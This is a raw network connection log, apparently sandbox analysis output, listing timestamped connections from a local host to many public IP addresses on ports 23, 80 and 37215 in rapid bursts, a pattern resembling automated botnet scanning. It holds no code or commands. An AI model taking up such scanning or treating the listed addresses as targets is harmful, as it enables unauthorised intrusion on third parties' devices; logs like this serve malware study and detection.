Jan 30, 2025 10:43:00.264117956 CET	34552	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.264128923 CET	34552	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.264471054 CET	35060	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.264844894 CET	50604	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:43:00.264846087 CET	50604	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:43:00.265152931 CET	51108	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:43:00.268868923 CET	80	34552	192.220.153.120	192.168.2.13
Jan 30, 2025 10:43:00.269231081 CET	80	35060	192.220.153.120	192.168.2.13
Jan 30, 2025 10:43:00.269277096 CET	35060	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.269294024 CET	35060	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.269635916 CET	80	50604	57.51.123.107	192.168.2.13
Jan 30, 2025 10:43:00.274204969 CET	80	35060	192.220.153.120	192.168.2.13
Jan 30, 2025 10:43:00.274255991 CET	35060	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:43:00.279798031 CET	80	46656	81.129.103.114	192.168.2.13
Jan 30, 2025 10:43:00.279808998 CET	37215	40066	197.32.208.156	192.168.2.13
Jan 30, 2025 10:43:00.283699036 CET	80	54608	209.140.145.92	192.168.2.13
Jan 30, 2025 10:43:00.291166067 CET	38342	23	192.168.2.13	164.140.84.229
Jan 30, 2025 10:43:00.291198015 CET	54530	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.291198015 CET	40202	37215	192.168.2.13	41.165.32.193
Jan 30, 2025 10:43:00.291198015 CET	56412	23	192.168.2.13	76.22.175.208
Jan 30, 2025 10:43:00.291207075 CET	44640	23	192.168.2.13	79.168.215.107
Jan 30, 2025 10:43:00.291207075 CET	56932	23	192.168.2.13	68.42.210.225
Jan 30, 2025 10:43:00.291208982 CET	35742	23	192.168.2.13	44.158.103.37
Jan 30, 2025 10:43:00.291207075 CET	40842	37215	192.168.2.13	156.210.246.123
Jan 30, 2025 10:43:00.291207075 CET	42014	23	192.168.2.13	202.199.177.209
Jan 30, 2025 10:43:00.291207075 CET	60600	80	192.168.2.13	52.100.104.91
Jan 30, 2025 10:43:00.291213989 CET	45278	80	192.168.2.13	116.250.119.199
Jan 30, 2025 10:43:00.291213989 CET	49082	80	192.168.2.13	13.158.192.185
Jan 30, 2025 10:43:00.291213989 CET	48344	80	192.168.2.13	20.76.200.177
Jan 30, 2025 10:43:00.291215897 CET	35894	23	192.168.2.13	82.206.253.218
Jan 30, 2025 10:43:00.291213989 CET	49976	37215	192.168.2.13	156.38.234.24
Jan 30, 2025 10:43:00.291215897 CET	55756	37215	192.168.2.13	41.134.202.79
Jan 30, 2025 10:43:00.291234016 CET	44616	80	192.168.2.13	67.14.228.78
Jan 30, 2025 10:43:00.291234016 CET	46110	23	192.168.2.13	168.13.123.168
Jan 30, 2025 10:43:00.291234016 CET	35366	80	192.168.2.13	204.114.45.203
Jan 30, 2025 10:43:00.291234016 CET	35038	80	192.168.2.13	119.44.88.156
Jan 30, 2025 10:43:00.296086073 CET	23	38342	164.140.84.229	192.168.2.13
Jan 30, 2025 10:43:00.296098948 CET	80	54530	9.152.149.102	192.168.2.13
Jan 30, 2025 10:43:00.296156883 CET	38342	23	192.168.2.13	164.140.84.229
Jan 30, 2025 10:43:00.296161890 CET	54530	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.296278954 CET	54530	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.296291113 CET	54530	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.296700001 CET	54992	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.301018000 CET	80	54530	9.152.149.102	192.168.2.13
Jan 30, 2025 10:43:00.301484108 CET	80	54992	9.152.149.102	192.168.2.13
Jan 30, 2025 10:43:00.301538944 CET	54992	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.301549911 CET	54992	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.306510925 CET	80	54992	9.152.149.102	192.168.2.13
Jan 30, 2025 10:43:00.306557894 CET	54992	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:43:00.311731100 CET	80	50604	57.51.123.107	192.168.2.13
Jan 30, 2025 10:43:00.311742067 CET	80	34552	192.220.153.120	192.168.2.13
Jan 30, 2025 10:43:00.323152065 CET	50348	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:00.323168993 CET	50726	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:00.323168993 CET	44914	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:00.323168039 CET	37342	37215	192.168.2.13	156.85.4.6
Jan 30, 2025 10:43:00.323168039 CET	44426	80	192.168.2.13	76.82.182.70
Jan 30, 2025 10:43:00.323168993 CET	52294	80	192.168.2.13	63.89.66.236
Jan 30, 2025 10:43:00.323168993 CET	45524	80	192.168.2.13	82.141.104.81
Jan 30, 2025 10:43:00.323183060 CET	48098	80	192.168.2.13	64.107.128.250
Jan 30, 2025 10:43:00.323183060 CET	48320	80	192.168.2.13	62.230.26.70
Jan 30, 2025 10:43:00.323184967 CET	39276	80	192.168.2.13	205.155.28.147
Jan 30, 2025 10:43:00.323189974 CET	36952	37215	192.168.2.13	197.20.56.225
Jan 30, 2025 10:43:00.323188066 CET	36998	80	192.168.2.13	198.161.133.137
Jan 30, 2025 10:43:00.323188066 CET	46516	23	192.168.2.13	42.126.42.151
Jan 30, 2025 10:43:00.323205948 CET	35584	23	192.168.2.13	100.190.9.1
Jan 30, 2025 10:43:00.323219061 CET	54250	23	192.168.2.13	175.120.183.15
Jan 30, 2025 10:43:00.323219061 CET	52166	23	192.168.2.13	68.117.250.229
Jan 30, 2025 10:43:00.323219061 CET	45262	23	192.168.2.13	130.96.21.12
Jan 30, 2025 10:43:00.323225021 CET	57956	23	192.168.2.13	44.66.221.150
Jan 30, 2025 10:43:00.323226929 CET	47224	23	192.168.2.13	178.204.191.229
Jan 30, 2025 10:43:00.323229074 CET	52468	23	192.168.2.13	91.240.205.120
Jan 30, 2025 10:43:00.328026056 CET	80	50348	46.205.239.153	192.168.2.13
Jan 30, 2025 10:43:00.328036070 CET	37215	50726	156.2.135.176	192.168.2.13
Jan 30, 2025 10:43:00.328044891 CET	37215	44914	197.115.207.226	192.168.2.13
Jan 30, 2025 10:43:00.328085899 CET	50726	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:00.328085899 CET	44914	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:00.328085899 CET	50348	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:00.328142881 CET	50348	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:00.328152895 CET	50348	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:00.328308105 CET	44914	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:00.328319073 CET	44914	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:00.328495979 CET	50770	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:00.329161882 CET	45354	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:00.329566002 CET	50726	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:00.329566002 CET	50726	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:00.329854965 CET	51144	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:00.332869053 CET	80	50348	46.205.239.153	192.168.2.13
Jan 30, 2025 10:43:00.333079100 CET	37215	44914	197.115.207.226	192.168.2.13
Jan 30, 2025 10:43:00.334350109 CET	37215	50726	156.2.135.176	192.168.2.13
Jan 30, 2025 10:43:00.343712091 CET	80	54530	9.152.149.102	192.168.2.13
Jan 30, 2025 10:43:00.355154991 CET	56798	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:00.355154991 CET	43598	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.355159044 CET	53500	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:00.355156898 CET	41470	80	192.168.2.13	4.184.27.87
Jan 30, 2025 10:43:00.355163097 CET	48548	23	192.168.2.13	180.80.197.159
Jan 30, 2025 10:43:00.355164051 CET	60642	37215	192.168.2.13	197.195.101.247
Jan 30, 2025 10:43:00.355163097 CET	38346	80	192.168.2.13	152.165.43.153
Jan 30, 2025 10:43:00.355164051 CET	47088	23	192.168.2.13	164.187.218.16
Jan 30, 2025 10:43:00.355164051 CET	55952	37215	192.168.2.13	197.141.222.57
Jan 30, 2025 10:43:00.355156898 CET	45286	23	192.168.2.13	137.58.36.113
Jan 30, 2025 10:43:00.355169058 CET	54812	23	192.168.2.13	180.58.35.230
Jan 30, 2025 10:43:00.355169058 CET	55902	23	192.168.2.13	187.39.5.245
Jan 30, 2025 10:43:00.355169058 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:00.355169058 CET	49832	23	192.168.2.13	46.26.121.103
Jan 30, 2025 10:43:00.355175018 CET	45018	80	192.168.2.13	202.64.68.246
Jan 30, 2025 10:43:00.355175972 CET	42472	80	192.168.2.13	63.84.132.69
Jan 30, 2025 10:43:00.355173111 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:00.355181932 CET	41636	37215	192.168.2.13	197.150.194.163
Jan 30, 2025 10:43:00.355187893 CET	43174	23	192.168.2.13	65.176.116.132
Jan 30, 2025 10:43:00.355187893 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:00.360080004 CET	80	56798	108.203.102.234	192.168.2.13
Jan 30, 2025 10:43:00.360090017 CET	80	43598	157.243.215.139	192.168.2.13
Jan 30, 2025 10:43:00.360100031 CET	80	53500	74.169.236.49	192.168.2.13
Jan 30, 2025 10:43:00.360141993 CET	56798	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:00.360141993 CET	43598	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.360148907 CET	53500	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:00.360249996 CET	43598	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.360249996 CET	43598	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.360652924 CET	43990	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.361027956 CET	53500	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:00.361027956 CET	53500	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:00.361327887 CET	53890	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:00.361718893 CET	56798	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:00.361718893 CET	56798	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:00.362013102 CET	57180	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:00.364995956 CET	80	43598	157.243.215.139	192.168.2.13
Jan 30, 2025 10:43:00.365426064 CET	80	43990	157.243.215.139	192.168.2.13
Jan 30, 2025 10:43:00.365472078 CET	43990	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.365488052 CET	43990	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.365787983 CET	80	53500	74.169.236.49	192.168.2.13
Jan 30, 2025 10:43:00.366518021 CET	80	56798	108.203.102.234	192.168.2.13
Jan 30, 2025 10:43:00.370809078 CET	80	43990	157.243.215.139	192.168.2.13
Jan 30, 2025 10:43:00.370877981 CET	43990	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:43:00.375792027 CET	37215	50726	156.2.135.176	192.168.2.13
Jan 30, 2025 10:43:00.375802994 CET	37215	44914	197.115.207.226	192.168.2.13
Jan 30, 2025 10:43:00.375813007 CET	80	50348	46.205.239.153	192.168.2.13
Jan 30, 2025 10:43:00.387166023 CET	45118	23	192.168.2.13	132.169.103.200
Jan 30, 2025 10:43:00.387168884 CET	47784	23	192.168.2.13	43.157.235.252
Jan 30, 2025 10:43:00.387182951 CET	45320	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.387181997 CET	35322	37215	192.168.2.13	41.114.70.140
Jan 30, 2025 10:43:00.387182951 CET	43822	23	192.168.2.13	38.240.226.29
Jan 30, 2025 10:43:00.387182951 CET	40558	23	192.168.2.13	220.124.30.85
Jan 30, 2025 10:43:00.387181997 CET	42624	80	192.168.2.13	183.226.65.64
Jan 30, 2025 10:43:00.387181997 CET	60342	37215	192.168.2.13	41.253.77.123
Jan 30, 2025 10:43:00.387186050 CET	56062	23	192.168.2.13	130.201.191.218
Jan 30, 2025 10:43:00.387182951 CET	50634	37215	192.168.2.13	156.1.18.145
Jan 30, 2025 10:43:00.387186050 CET	48918	23	192.168.2.13	84.41.2.189
Jan 30, 2025 10:43:00.387186050 CET	53138	80	192.168.2.13	46.42.247.212
Jan 30, 2025 10:43:00.387186050 CET	47828	37215	192.168.2.13	156.135.156.190
Jan 30, 2025 10:43:00.387192965 CET	59226	80	192.168.2.13	175.237.212.104
Jan 30, 2025 10:43:00.387201071 CET	54156	80	192.168.2.13	175.70.250.182
Jan 30, 2025 10:43:00.387202024 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:00.387203932 CET	44756	80	192.168.2.13	143.252.240.114
Jan 30, 2025 10:43:00.387204885 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:00.387204885 CET	42750	80	192.168.2.13	166.166.79.44
Jan 30, 2025 10:43:00.392050028 CET	23	45118	132.169.103.200	192.168.2.13
Jan 30, 2025 10:43:00.392066002 CET	80	45320	66.61.164.183	192.168.2.13
Jan 30, 2025 10:43:00.392116070 CET	45118	23	192.168.2.13	132.169.103.200
Jan 30, 2025 10:43:00.392132998 CET	45320	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.392255068 CET	45320	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.392271996 CET	45320	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.392785072 CET	45654	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.397013903 CET	80	45320	66.61.164.183	192.168.2.13
Jan 30, 2025 10:43:00.397651911 CET	80	45654	66.61.164.183	192.168.2.13
Jan 30, 2025 10:43:00.397705078 CET	45654	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.397742987 CET	45654	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.402782917 CET	80	45654	66.61.164.183	192.168.2.13
Jan 30, 2025 10:43:00.402831078 CET	45654	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:43:00.407738924 CET	80	56798	108.203.102.234	192.168.2.13
Jan 30, 2025 10:43:00.407751083 CET	80	53500	74.169.236.49	192.168.2.13
Jan 30, 2025 10:43:00.407762051 CET	80	43598	157.243.215.139	192.168.2.13
Jan 30, 2025 10:43:00.419164896 CET	59264	23	192.168.2.13	149.237.94.241
Jan 30, 2025 10:43:00.419176102 CET	58936	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.419176102 CET	49284	23	192.168.2.13	141.250.116.87
Jan 30, 2025 10:43:00.419188023 CET	57984	80	192.168.2.13	145.90.15.173
Jan 30, 2025 10:43:00.419188976 CET	49110	23	192.168.2.13	41.41.134.200
Jan 30, 2025 10:43:00.419193029 CET	46416	37215	192.168.2.13	156.131.190.110
Jan 30, 2025 10:43:00.419193029 CET	40292	23	192.168.2.13	193.160.83.197
Jan 30, 2025 10:43:00.419200897 CET	45908	23	192.168.2.13	73.194.195.182
Jan 30, 2025 10:43:00.419215918 CET	49586	23	192.168.2.13	87.115.220.141
Jan 30, 2025 10:43:00.419215918 CET	48614	80	192.168.2.13	175.231.195.201
Jan 30, 2025 10:43:00.419215918 CET	51448	80	192.168.2.13	116.20.216.85
Jan 30, 2025 10:43:00.419217110 CET	49824	37215	192.168.2.13	41.204.88.187
Jan 30, 2025 10:43:00.419217110 CET	43138	80	192.168.2.13	91.58.94.100
Jan 30, 2025 10:43:00.419215918 CET	48924	80	192.168.2.13	161.193.3.71
Jan 30, 2025 10:43:00.419224024 CET	55066	23	192.168.2.13	128.226.27.202
Jan 30, 2025 10:43:00.419224024 CET	40052	80	192.168.2.13	202.61.99.119
Jan 30, 2025 10:43:00.419229031 CET	53288	37215	192.168.2.13	197.121.223.32
Jan 30, 2025 10:43:00.419233084 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:00.419234037 CET	46648	23	192.168.2.13	87.89.23.214
Jan 30, 2025 10:43:00.419234037 CET	33192	37215	192.168.2.13	41.124.85.254
Jan 30, 2025 10:43:00.424005032 CET	23	59264	149.237.94.241	192.168.2.13
Jan 30, 2025 10:43:00.424015999 CET	37215	58936	197.239.110.211	192.168.2.13
Jan 30, 2025 10:43:00.424144983 CET	58936	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.424237967 CET	59264	23	192.168.2.13	149.237.94.241
Jan 30, 2025 10:43:00.424287081 CET	58936	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.424386978 CET	58936	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.424989939 CET	59226	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.429079056 CET	37215	58936	197.239.110.211	192.168.2.13
Jan 30, 2025 10:43:00.429784060 CET	37215	59226	197.239.110.211	192.168.2.13
Jan 30, 2025 10:43:00.429853916 CET	59226	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.430007935 CET	59226	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.434813976 CET	37215	59226	197.239.110.211	192.168.2.13
Jan 30, 2025 10:43:00.434856892 CET	59226	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:43:00.443731070 CET	80	45320	66.61.164.183	192.168.2.13
Jan 30, 2025 10:43:00.451183081 CET	39894	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:00.451184988 CET	33160	23	192.168.2.13	169.222.221.197
Jan 30, 2025 10:43:00.451208115 CET	37970	37215	192.168.2.13	41.250.127.201
Jan 30, 2025 10:43:00.451211929 CET	57672	80	192.168.2.13	133.119.239.213
Jan 30, 2025 10:43:00.451214075 CET	59260	80	192.168.2.13	47.58.239.244
Jan 30, 2025 10:43:00.451229095 CET	36346	80	192.168.2.13	88.116.148.47
Jan 30, 2025 10:43:00.451232910 CET	56398	37215	192.168.2.13	41.240.101.105
Jan 30, 2025 10:43:00.451240063 CET	48096	80	192.168.2.13	73.160.135.116
Jan 30, 2025 10:43:00.451253891 CET	35700	37215	192.168.2.13	197.119.67.191
Jan 30, 2025 10:43:00.451256037 CET	48132	80	192.168.2.13	165.157.242.131
Jan 30, 2025 10:43:00.451262951 CET	58662	80	192.168.2.13	103.72.190.172
Jan 30, 2025 10:43:00.451265097 CET	53706	23	192.168.2.13	132.23.182.226
Jan 30, 2025 10:43:00.451281071 CET	60706	80	192.168.2.13	66.208.141.198
Jan 30, 2025 10:43:00.451282978 CET	47826	23	192.168.2.13	131.186.92.5
Jan 30, 2025 10:43:00.451289892 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:00.451297998 CET	50350	80	192.168.2.13	65.71.195.152
Jan 30, 2025 10:43:00.451299906 CET	47772	37215	192.168.2.13	41.149.64.92
Jan 30, 2025 10:43:00.451299906 CET	53090	23	192.168.2.13	167.253.216.16
Jan 30, 2025 10:43:00.451311111 CET	46444	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:00.451323986 CET	44610	23	192.168.2.13	159.203.230.2
Jan 30, 2025 10:43:00.451325893 CET	46968	23	192.168.2.13	75.38.35.84
Jan 30, 2025 10:43:00.451339960 CET	52958	23	192.168.2.13	74.223.19.152
Jan 30, 2025 10:43:00.451354027 CET	47600	23	192.168.2.13	77.6.38.222
Jan 30, 2025 10:43:00.456104994 CET	23	33160	169.222.221.197	192.168.2.13
Jan 30, 2025 10:43:00.456120014 CET	80	39894	191.70.61.43	192.168.2.13
Jan 30, 2025 10:43:00.456131935 CET	80	46444	83.250.218.46	192.168.2.13
Jan 30, 2025 10:43:00.456228971 CET	39894	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:00.456232071 CET	46444	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:00.456244946 CET	33160	23	192.168.2.13	169.222.221.197
Jan 30, 2025 10:43:00.456429005 CET	46444	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:00.456439972 CET	46444	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:00.456959009 CET	46730	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:00.457360029 CET	39894	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:00.457376957 CET	39894	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:00.457709074 CET	40138	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:00.461194992 CET	80	46444	83.250.218.46	192.168.2.13
Jan 30, 2025 10:43:00.462110996 CET	80	39894	191.70.61.43	192.168.2.13
Jan 30, 2025 10:43:00.475788116 CET	37215	58936	197.239.110.211	192.168.2.13
Jan 30, 2025 10:43:00.483189106 CET	47236	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:00.483189106 CET	32996	23	192.168.2.13	217.90.235.236
Jan 30, 2025 10:43:00.483195066 CET	32848	23	192.168.2.13	52.84.53.156
Jan 30, 2025 10:43:00.483195066 CET	37552	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:43:00.483195066 CET	42212	23	192.168.2.13	54.157.172.86
Jan 30, 2025 10:43:00.483195066 CET	42986	23	192.168.2.13	19.182.13.235
Jan 30, 2025 10:43:00.483210087 CET	42516	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:43:00.483210087 CET	47104	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:43:00.483218908 CET	36888	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:43:00.483216047 CET	35718	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:43:00.483220100 CET	40440	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:43:00.483218908 CET	58638	23	192.168.2.13	73.42.252.0
Jan 30, 2025 10:43:00.483220100 CET	47122	80	192.168.2.13	164.37.38.233
Jan 30, 2025 10:43:00.483216047 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:00.483216047 CET	50640	37215	192.168.2.13	156.219.15.95
Jan 30, 2025 10:43:00.483218908 CET	47176	37215	192.168.2.13	156.95.129.39
Jan 30, 2025 10:43:00.483226061 CET	54218	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:43:00.483218908 CET	36884	80	192.168.2.13	71.98.117.6
Jan 30, 2025 10:43:00.483218908 CET	33674	37215	192.168.2.13	41.57.49.71
Jan 30, 2025 10:43:00.483218908 CET	34198	80	192.168.2.13	79.95.47.220
Jan 30, 2025 10:43:00.483231068 CET	56672	80	192.168.2.13	92.113.30.64
Jan 30, 2025 10:43:00.483236074 CET	39206	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:43:00.483236074 CET	34020	37215	192.168.2.13	197.36.138.121
Jan 30, 2025 10:43:00.483236074 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:00.488063097 CET	37215	47236	156.229.77.85	192.168.2.13
Jan 30, 2025 10:43:00.488075972 CET	23	32996	217.90.235.236	192.168.2.13
Jan 30, 2025 10:43:00.488086939 CET	23	32848	52.84.53.156	192.168.2.13
Jan 30, 2025 10:43:00.488147020 CET	47236	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:00.488156080 CET	32996	23	192.168.2.13	217.90.235.236
Jan 30, 2025 10:43:00.488162994 CET	32848	23	192.168.2.13	52.84.53.156
Jan 30, 2025 10:43:00.488516092 CET	47236	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:00.488558054 CET	47236	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:00.489083052 CET	47434	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:00.493258953 CET	37215	47236	156.229.77.85	192.168.2.13
Jan 30, 2025 10:43:00.503788948 CET	80	39894	191.70.61.43	192.168.2.13
Jan 30, 2025 10:43:00.503803968 CET	80	46444	83.250.218.46	192.168.2.13
Jan 30, 2025 10:43:00.515199900 CET	49340	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:00.515225887 CET	51858	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:00.515225887 CET	53972	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.515254974 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:00.515254974 CET	57536	37215	192.168.2.13	156.91.135.235
Jan 30, 2025 10:43:00.515270948 CET	40586	37215	192.168.2.13	156.245.216.254
Jan 30, 2025 10:43:00.515284061 CET	46196	37215	192.168.2.13	156.115.243.2
Jan 30, 2025 10:43:00.515291929 CET	44658	37215	192.168.2.13	156.217.78.62
Jan 30, 2025 10:43:00.515307903 CET	43194	37215	192.168.2.13	197.74.198.211
Jan 30, 2025 10:43:00.515326977 CET	42134	37215	192.168.2.13	156.252.3.126
Jan 30, 2025 10:43:00.515331030 CET	45482	37215	192.168.2.13	41.47.51.86
Jan 30, 2025 10:43:00.515362024 CET	60580	37215	192.168.2.13	41.100.124.121
Jan 30, 2025 10:43:00.515374899 CET	52570	37215	192.168.2.13	197.117.192.49
Jan 30, 2025 10:43:00.515376091 CET	33010	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:43:00.515381098 CET	57218	37215	192.168.2.13	197.55.246.248
Jan 30, 2025 10:43:00.515384912 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:43:00.520060062 CET	37215	49340	156.179.84.58	192.168.2.13
Jan 30, 2025 10:43:00.520073891 CET	37215	51858	41.100.230.86	192.168.2.13
Jan 30, 2025 10:43:00.520085096 CET	37215	53972	156.48.204.33	192.168.2.13
Jan 30, 2025 10:43:00.520127058 CET	51858	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:00.520203114 CET	49340	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:00.520225048 CET	53972	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.520502090 CET	53972	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.520518064 CET	53972	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.520977020 CET	54128	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.521369934 CET	51858	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:00.521384954 CET	51858	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:00.521689892 CET	52014	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:00.522176027 CET	49340	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:00.522176027 CET	49340	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:00.522730112 CET	49496	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:00.525978088 CET	37215	53972	156.48.204.33	192.168.2.13
Jan 30, 2025 10:43:00.525991917 CET	37215	54128	156.48.204.33	192.168.2.13
Jan 30, 2025 10:43:00.526043892 CET	54128	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.526072025 CET	54128	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.526149035 CET	37215	51858	41.100.230.86	192.168.2.13
Jan 30, 2025 10:43:00.526953936 CET	37215	49340	156.179.84.58	192.168.2.13
Jan 30, 2025 10:43:00.533674955 CET	37215	54128	156.48.204.33	192.168.2.13
Jan 30, 2025 10:43:00.533780098 CET	54128	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:43:00.539715052 CET	37215	47236	156.229.77.85	192.168.2.13
Jan 30, 2025 10:43:00.547265053 CET	44904	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.547266006 CET	42172	37215	192.168.2.13	156.192.119.32
Jan 30, 2025 10:43:00.547265053 CET	55790	37215	192.168.2.13	197.220.153.229
Jan 30, 2025 10:43:00.547267914 CET	41772	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:00.547267914 CET	59534	37215	192.168.2.13	41.214.47.225
Jan 30, 2025 10:43:00.547267914 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:00.547267914 CET	49818	37215	192.168.2.13	197.219.207.217
Jan 30, 2025 10:43:00.547267914 CET	50464	37215	192.168.2.13	156.98.209.241
Jan 30, 2025 10:43:00.547267914 CET	47682	37215	192.168.2.13	156.147.172.251
Jan 30, 2025 10:43:00.547283888 CET	35042	37215	192.168.2.13	41.26.125.148
Jan 30, 2025 10:43:00.547292948 CET	55190	37215	192.168.2.13	197.199.186.236
Jan 30, 2025 10:43:00.547293901 CET	44092	37215	192.168.2.13	156.7.152.31
Jan 30, 2025 10:43:00.547291040 CET	43984	37215	192.168.2.13	41.2.193.147
Jan 30, 2025 10:43:00.547292948 CET	51412	37215	192.168.2.13	156.162.130.12
Jan 30, 2025 10:43:00.547297001 CET	34116	37215	192.168.2.13	41.95.183.165
Jan 30, 2025 10:43:00.547297955 CET	57456	37215	192.168.2.13	41.181.185.210
Jan 30, 2025 10:43:00.547297955 CET	57128	37215	192.168.2.13	156.232.166.67
Jan 30, 2025 10:43:00.547291040 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:00.547297955 CET	33294	37215	192.168.2.13	156.73.88.204
